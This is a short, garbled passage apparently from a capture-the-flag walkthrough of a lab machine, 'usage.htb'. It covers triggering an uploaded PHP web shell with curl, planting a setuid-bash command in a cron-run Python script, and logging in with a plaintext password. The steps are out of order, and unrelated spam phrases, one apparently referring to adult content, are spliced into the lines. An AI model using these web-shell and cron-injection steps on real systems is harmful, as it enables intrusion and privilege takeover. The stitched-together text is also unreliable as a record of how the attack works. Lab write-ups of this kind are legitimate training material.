Once the shell is uploaded to /uploads/shell.php , we trigger it. Watch Linkedin Ethical Hacking Enumeration Exclusive Apr 2026
curl http://usage.htb/uploads/shell.php?cmd=id We get RCE as www-data . Blue Film Moodx Top
echo "chmod u+s /bin/bash" >> /opt/scripts/cron_config.py Wait for the cron to execute.
su dash Password: D_B_P@ssw0rd! Success.
If we have sudo -l permissions allowing us to restart a service, we can inject code.
We notice a service running internally or a scheduled task.
We grab the flag from /home/dash/user.txt . 4. Privilege Escalation (Root) Now logged in as dash , we enumerate the system.
If the machine utilizes a vulnerable version of a specific processing library (common in Laravel apps), we can exploit or simply bypass the extension check.